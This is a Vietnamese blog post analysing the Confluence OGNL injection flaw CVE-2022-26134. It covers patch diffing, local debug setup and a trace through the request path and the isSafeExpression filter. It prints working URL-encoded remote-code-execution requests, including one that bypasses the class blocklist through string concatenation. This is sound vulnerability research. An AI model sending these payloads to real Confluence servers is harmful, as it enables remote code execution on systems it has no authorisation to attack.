---
layout: post
title: "Atlassian Confluence Vulnerability Analysis CVE-2022-26134"
categories: Research
toc: true
tags: Research
render_with_liquid: false
---
Tiếp tục với những bài viết research về 1day thì mình đã chọn CVE-2022-26134 để phân tích. Đây là 1 CVE về Confluence Server OGNL Injection dẫn đến có thể thực thi mã từ xa. Dưới đây mình sẽ nói rõ về cách diff, setup debug và lỗ hổng này nó sẽ được thực hiện như nào. Let's go..
## Patch Analysis
Confluence đã public lỗ hổng tại đây [Reference_Links](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html). Ban đầu lúc mình theo dõi thì chưa có bản vá nào chính thức và chưa có những cập nhật nào cụ thể, chỉ có hướng dẫn là filter `${}` => Mình nghĩ tới liên quan đến `OGNL Injection` vì Confluence đã từng bị lỗi liên quan đến `OGNL Injection` nên mình lúc đầu đoán rằng có thể bypass gì ở đây. Tới lúc công bố bản vá cụ thể và chi tiết thì mình đã quyết định tải bản mới nhất (bản patch) và bản bị lỗi về để diff. [LINK_DOWNLOAD](https://www.atlassian.com/software/confluence/download-archives)

Một số điều cần làm để vá lỗ hổng này:

+ Tải file `xwork-1.0.3-atlassian-10.jar`
+ Xóa `xwork-1.0.3-atlassian-8.jar` mà server đang dùng.
+ Thay thế file vừa xóa bằng file vừa tải về.
=> Vậy có lẽ những điều mình cần chú ý và cần diff nằm trong file `xwork-1.0.3-atlassian-10.jar` và `xwork-1.0.3-atlassian-8.jar`
Lúc đầu mình tính sử dụng [winmerge](https://winmerge.org/) để diff 2 bản này, nhưng người anh trong phòng [stk](https://hackmd.io/@zsxnz) đã chỉ mình sử dụng 1 tính năng trong `Intellij`.
Command diff:
```
.\idea64.exe diff "[Folder_Ver7.18.0]" "[Folder2_Ver7.18.1]"
```

Sau khi load xong thì tìm tới file `xwork-1.0.3-atlassian-10.jar`

Vậy có thể thấy được trong bản mới nhất thì file `xwork-1.0.3-atlassian-8.jar` đã bị xóa và thay bằng file `xwork-1.0.3-atlassian-10.jar`. Để diff 2 file này với nhau thì cần làm như dưới đây:

+ Bôi đen 2 file như trên
+ Sau đó chọn `Compare New Files with Each Other`
Sau khi load xong thì thấy được 1 sự thay đổi nhỏ ở trong 2 file này

+ Trong hàm `execute` của class `ActionChainResult.class` xóa đoạn xử lí `Ognl`
+ Xóa luôn 2 lib đã import là `com.opensymphony.xwork.util.OgnlValueStack` và `com.opensymphony.xwork.util.TextParseUtil`.
Vậy bây giờ mình đã biết được điểm mẫu chốt nằm ở đâu và giờ cần đi setup và debug.
## Setup (Môi trường Windowns)
Sau khi tải bản `7.18.0` (zip) thì mình đã sửa lại thêm 1 chút trong file `catalina.bat` để debug.
```
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
```
Để tạo database thì dựng 1 docker chạy `postgres`. File `docker-compose.yml` dưới đây. Ở đây mình chạy docker bằng máy ảo xong forward port ra nhé.
```
version: '2'
services:
db:
image: postgres:12.8-alpine
ports:
- 5432:5432
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
```
Ở trong `Intelij` thì chỉ cần chọn `Remote JVM Debug` và giữ nguyên config nhé.
Command chạy confluence:
```
.\catalina.bat run
```
+ Sau khi chạy thành công thì truy cập `http://localhost:8090` và làm theo các bước hiện ra.
+ Setup databse thì chỉ cần điền các thông tin sau
```
host: localhost
port: 5432
db: confluence
user: postgres
pass: postgres
```
Giao diện của `Confluence` sau khi cài đặt thành công.

## Phân tích
Đầu tiên đặt breakpoint ở trong hàm `execute`

Truy cập vào đường dẫn `/users/viewmyprofile.action` (ở đây mình chọn ở đây) thì thấy trigger được breakpoint. Trace xuống đoạn xử lí Ognl

+ `namespace` là đoạn path mình truyền vô nhưng chỉ lấy đến `/users`
+ Dòng 63 khởi tạo, gọi đến thư viện được import.
+ Dòng 64 đưa `namespace` đã tạo và `stack` vào hàm `translateVariables` ở trong file `TextParseUtil`. Vậy sẽ nhảy f7 nhảy vào đây xem hàm này sẽ xử lí như nào.

+ Gán `/users` cho `expression` và sau đó mang đi xử lí regex.
+ Dòng 17,18 check `expression` có nằm trong `${}` thì sẽ đưa các giá trị đó vô hàm `findValue` để check.
+ Cuối cùng append các giá trị đó vô chuỗi `sb`.
+ Do hiện tại `expression` của mình đưa vào là `/users` không nằm trong `${}` nên sẽ không nhảy vào loop mà nhảy xuống đoạn phía dưới

Sau khi thoát khỏi hàm thì sẽ tiếp tục vô đoạn code này

+ Tiếp tục kiểm tra `actionName` như `namespace` theo hàm ở trên
+ Theo mình thấy thì hiện tại `actionName` mình không thể control.
Vậy bây giờ thử truyền `${7*7}` xem nó sẽ xử lí như nào.
```
GET //%24%7B7%2A7%7D HTTP/1.1
Host: localhost:8090
Connection: close
```
Khi request như này thì có 1 điều kì lạ là chương trình không trigger breakpoint đã đặt ở trong hàm `execute`. Mình quyết định quay về với request ban đầu và tìm tại sao nó lại trigger breakpoint
Chú ý về Stack Frames thì thấy được trước vô hàm `execute` thì request đã đi qua `ServletDispatcher`. Giải thích xíu về `ServletDispatcher` thì những request nào cũng sẽ đi qua như mô tả hình dưới đây, có thể hiểu nôm na nó sẽ là 1 cái cổng chính trong nhà.

Đây là 1 đoạn `Stack Frames` mà chương trình hoạt động tới khi breakpoint dừng.

Chương trình sẽ gọi đến hàm `service` ở trong file `ServletDispatcher.class`

+ Đoạn code này sẽ hoạt động là đưa các request vô `getNameSpace`, `getActionName`, `getRequestMap`, `getParameterMap`, `getSessionMap` và `getApplicationMap` để xử lí.
+ Trong các hàm trên thì thấy có 1 hàm quan trọng và dẫn đến tại sao khi mình thử payload `/{7*7}` thì breakpoint sẽ không ngắt đó là hàm `getNamespaceFromServletPath`
```java
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
```
+ `servletPath` là đoạn request mình đưa vào, sau đó sẽ được được hàm `substring` xử lí
+ Hàm `substring` sẽ lấy từ đầu chuỗi request mình nhập vào tới khi dấu `/`. Để nhìn thấy rõ hơn thì nhìn vào debug bên dưới đây

+ `servletPath` chính là `/users/viewmyprofile.action` mà mình truyền vào
+ Sau khi xử lí thì `servletPath` chỉ còn lại `/users`

Vậy tới đây đã biết lí do tại sao mà lúc thử `/%24%7B7%2A7%7D` thì sẽ không trigger breakpoint vì thiếu dấu `/` ở cuối.
Đặt breakpoint ở dòng 84 thì thấy được `expr` được compile

Sau khi compile và thoát ra khỏi hàm `findValue` thì kết quả trả về là `49` => Đã inject thành công.

Vậy bây giờ chỉ cần thay payload để RCE. Dưới đây là payload mình sử dụng:
```
${@java.lang.Runtime@getRuntime().exec("calc")}
```
Request:
```
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/ HTTP/1.1
Host: localhost:8090
Connection: close
```
Sau khi requets thì `calc` không được chạy, theo lí thuyết như trên thì đáng lẽ là payload trên phải hoạt động. Vì vậy mình quyết định debug với payload này xem điều gì đã xảy ra, khiến payload này không hoạt động, có vẻ như mình đã bỏ qua thứ gì đó.

Chú ý kĩ lại thì thấy trước khi đi vào `complie` thì có đi qua một đoạn check nữa ở hàm `isSafeExpression`.
```java
public boolean isSafeExpression(String expression) {
return this.isSafeExpressionInternal(expression, new HashSet());
}
```
Hàm này sẽ gọi đến hàm `isSafeExpressionInternal` với 2 tham số là `expression` mình truyền vào với 1 `HashSet`.
Hàm `isSafeExpressionInternal`:
```java
private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
return false;
}
if (this.isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;
}
if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
} else {
try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpression instanceof Node) {
if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
} else {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
}
}
} catch (RuntimeException | OgnlException var4) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of OGNL expression", var4);
}
}
}
return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}
```
+ Đoạn code này mình chỉ cần chú ý đoạn `OgnlUtil.compile(expression)` parse thành các AST node rồi xong sẽ được đưa vào hàm `containsUnsafeExpression` để kiểm tra.
+ Nếu như có thể vượt qua được hàm check này nữa thì payload sẽ hoạt động.
Hàm `containsUnsafeExpression`

+ Các AST node được parse sẽ được duyệt qua từng node rồi so sánh với từng điều kiện để xem có hợp lệ hay không. Những yếu tố được check là:
+ node type
+ className
+ methodName
+ variable name
Điều kiện để qua được những điều này:
+ node type không nằm trong 3 type:

+ className phải thuộc 1 trong 9 class:

+ 2 method không được sử dụng:

+ Một số variable unsafe:

+ Trong hàm `containsUnsafeExpression` tại dòng 111 check class không được nằm trong các class dưới đây thông qua hàm `isUnSafeClass`:

Vậy bây giờ mình sẽ quay lại debug payload không hoạt động ở trên để xem payload đó bị fail ở bước nào.

+ khi duyệt qua node đầu tiên thì className là `java.lang.Runtime` => không nằm trong những className được cho phép, nên trả về `true` => payload mà mình nhập vào unsafe.
Khi ra khỏi hàm `findValue` thì trả về null => payload này không thể hoạt động.

Vậy mình thử 1 payload khác với kĩ thuật gọi trực tiếp class `Class` và nối 2 chuỗi con lại với nhau để trở thành `java.lang.Runtime` để bypass hàm `isUnSafeClass`.
## Exploit
Payload:
```
${"" + Class.forName("java." + "lang.Runtime").getMethod("getRuntime", null).invoke(null,null).exec("calc")}}
```
Request
```
GET /%24%7b%22%22%20%2b%20Class.forName(%22java.%22%20%2b%20%22lang.Runtime%22).getMethod(%22getRuntime%22%2c%20null).invoke(null%2cnull).exec(%22calc%22)%7d%7d/ HTTP/1.1
Host: localhost:8090
Connection: close
```
Trigger `calc` thành công

Payload dưới đây có thể sử dụng cho version `7.13.6` vì ở trong hàm `findValue` không có hàm check `isSafeExpression`.
```
${@java.lang.Runtime@getRuntime().exec("calc")}
```
:::info
Những version nào mà trong hàm `findValue` không có hàm check `isSafeExpression` đều có thể sử dụng payload này nhé.
:::
## Tóm tắt chương trình
- Trước khi `namespace` nhận đầu vào thì đi qua hàm `getNamespaceFromServletPath` trong file `ServletDispatcher.class`. Đầu vào phải có `/` ở cuối vì hàm này sẽ xử lí lấy input tới `/`.
- Check giá trị `namespace` nằm trong `${}` thì nhảy vào hàm `findValue` kèm theo giá trị đó.
- Check giá trị qua hàm `isSafeExpression` trong file `SafeExpressionUtil.class` và hàm này gọi đến `isSafeExpressionInternal` để thực hiện check đầu vào có unsafe hay không.
- Đầu vào sẽ được parse thành các AST node thông qua hàm `OgnlUtil.compile`
- Lặp qua các node đó qua một số điều kiện như mình đã phân tích ở trên.
- Cuối cùng nếu như đầu vào unsafe thì sẽ trả về null, còn không thì trả về kết quả của OGNL execute.
## Reference
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
- https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134
## Lời kết
Cảm ơn mọi người đã đọc về bài phân tích, hi vọng mọi người góp ý để những bài phân tích sau của mình sẽ chất lượng hơn. Hiện tại mình đang tập tành phân tích nên có thể chưa được chuyên sâu và hay lắm, mình sẽ cố gắng có những bài blog hay hơn (◕︵◕)